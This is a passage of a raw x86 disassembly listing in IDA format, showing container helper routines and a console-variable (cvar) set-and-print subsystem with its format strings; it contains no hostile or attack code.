[esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402176 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AABB: ; CODE XREF: sub_40A9F0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40AB19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402176 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E6F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40A9F0+D8j test edi, edi jbe short loc_40AB53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020AE mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E6F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A9F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABC0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ABC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABE0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40AC12 push edi mov edi, [esp+10h+arg_8] loc_40ABF6: ; CODE XREF: sub_40ABE0+27j push esi push edi mov ecx, ebx call sub_402121 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ABF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AC12: ; CODE XREF: sub_40ABE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ABE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC30 proc near ; CODE XREF: sub_402176j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AC57 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AC46: ; CODE XREF: sub_40AC30+23j push ebx push esi mov ecx, ebp call sub_402121 add esi, 4 dec edi jnz short loc_40AC46 pop esi pop ebx loc_40AC57: ; CODE XREF: sub_40AC30+Aj pop edi pop ebp retn 0Ch sub_40AC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AC70 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014CE sub_40AC70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_402121j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401DE8 add esp, 8 retn 8 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ACED mov edx, [esp+arg_8] push esi loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ACE1 pop esi locret_40ACED: ; CODE XREF: sub_40ACD0+Aj retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_4020AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AD22 mov eax, [esp+arg_8] push esi loc_40AD11: ; CODE XREF: sub_40AD00+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40AD11 pop esi retn ; --------------------------------------------------------------------------- loc_40AD22: ; CODE XREF: sub_40AD00+Aj mov eax, [esp+arg_8] retn sub_40AD00 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD60 proc near ; CODE XREF: sub_4014CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AD6A xor eax, eax loc_40AD6A: ; CODE XREF: sub_40AD60+6j shl eax, 2 push eax call sub_4367FA sub_40AD60 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD90 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40ADAB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40ADAB: ; CODE XREF: sub_40AD90+11j retn sub_40AD90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj mov eax, ecx mov dword ptr [eax], offset off_43E014 retn sub_40ADC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: ___:00401717j ; ___:loc_402027j push esi mov esi, ecx call sub_402031 test byte ptr [esp+8], 1 jz short loc_40ADF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40ADF8: ; CODE XREF: ___:0040ADEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AE10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_401744 loc_40AE41: ; DATA XREF: sub_40AE52o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; =============== S U B R O U T I N E ======================================= sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo mov eax, offset loc_40AE41 retn sub_40AE52 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE80 proc near ; CODE XREF: sub_4014BAj call sub_401708 jmp sub_4017B2 sub_40AE80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401B18j call sub_40161D jmp sub_4017C1 sub_40AEA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEC0 proc near ; CODE XREF: sub_4013D4j push esi mov esi, ecx push esi push offset sub_40141F lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AEE2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_40AEC0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AEC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF00: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF27 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_40175D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AF27: ; CODE XREF: ___:0040AF09j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF40 proc near ; CODE XREF: sub_401744j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF5C mov eax, [esi+0Ch] push 0Fh push eax call sub_401758 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AF5C: ; CODE XREF: sub_40AF40+8j pop esi retn sub_40AF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF70: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF90 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AF90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40AFBE: ; DATA XREF: sub_40AFD1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co mov eax, offset loc_40AFBE retn sub_40AFD1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B000 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B042 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_40218F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B042: ; CODE XREF: sub_40B000+Bj pop esi add esp, 8 retn sub_40B000 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_401DCAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B092 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B092: ; CODE XREF: sub_40B070+6j pop ecx retn sub_40B070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B0B0 proc near ; CODE XREF: sub_4019F1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B0B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401749 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401BF4 sub_40B0B0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43E020 call sub_401BEF mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B170 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401BEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_401555 sub_40B170 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B210 proc near ; CODE XREF: sub_4017EEj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401BEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40B210 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B390 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FBE mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FBE mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F32 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FBE lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401906 sub_40B390 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B430 proc near ; CODE XREF: sub_401B5Ej var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401861 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401861 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401861 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40180C sub_40B430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B520 proc near ; CODE XREF: sub_4019CEj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_40153C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401451 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B5A1 mov edi, [esp+10h+arg_0] loc_40B566: ; CODE XREF: sub_40B520+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4021AD test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B5AB call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B566 loc_40B5A1: ; CODE XREF: sub_40B520+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: sub_40B520+60j call sub_401F5A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B520 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: ___:00401456j push 0FFFFFFFFh push offset loc_438BF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401861 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019CE lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B680 proc near ; CODE XREF: sub_401596j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B6D1 mov byte ptr [esi+19h], 1 loc_40B6D1: ; CODE XREF: sub_40B680+4Bj pop esi retn 8 sub_40B680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B700 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B755 mov byte ptr [esi+19h], 1 loc_40B755: ; CODE XREF: sub_40B700+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B790: ; CODE XREF: ___:00401D43j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017E4 push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B7E1 mov byte ptr [esi+19h], 1 loc_40B7E1: ; CODE XREF: ___:0040B7DBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: ___:00401C94j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B840 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B840: ; CODE XREF: ___:0040B818j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: ___:00401D6Bj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4437F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B8B0 mov byte ptr [esi+19h], 1 loc_40B8B0: ; CODE XREF: ___:0040B8AAj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: ___:loc_401ACDj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_438C30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BA12 lea ebx, [esi+69h] mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+6Ch] call sub_40153C add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_401451 mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BA0B loc_40B976: ; CODE XREF: ___:0040BA05j lea ecx, [esp+6Ch] inc edi call sub_401F5A mov ecx, [eax] add ecx, 33h call sub_4017E4 push eax lea ecx, [esp+70h] call sub_401F5A mov ecx, [eax] call sub_4017E4 push eax lea ecx, [esp+74h] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4017E4 push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 5DCh nop call near ptr 2821BE4h lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40B976 loc_40BA0B: ; CODE XREF: ___:0040B970j mov al, 1 jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: ___:0040B907j lea ecx, [ebp+32h] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BAA5 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: ___:0040BA24j lea ecx, [ebp+60h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BB98 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 push edi lea ecx, [esp+18h] call sub_4014C9 mov ebx, 2 push 1 push offset asc_443600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F32 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: ___:0040BA60j ; ___:0040BAB7j ... xor al, al loc_40BB9A: ; CODE XREF: ___:0040BA0Dj ; ___:0040BAA0j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp 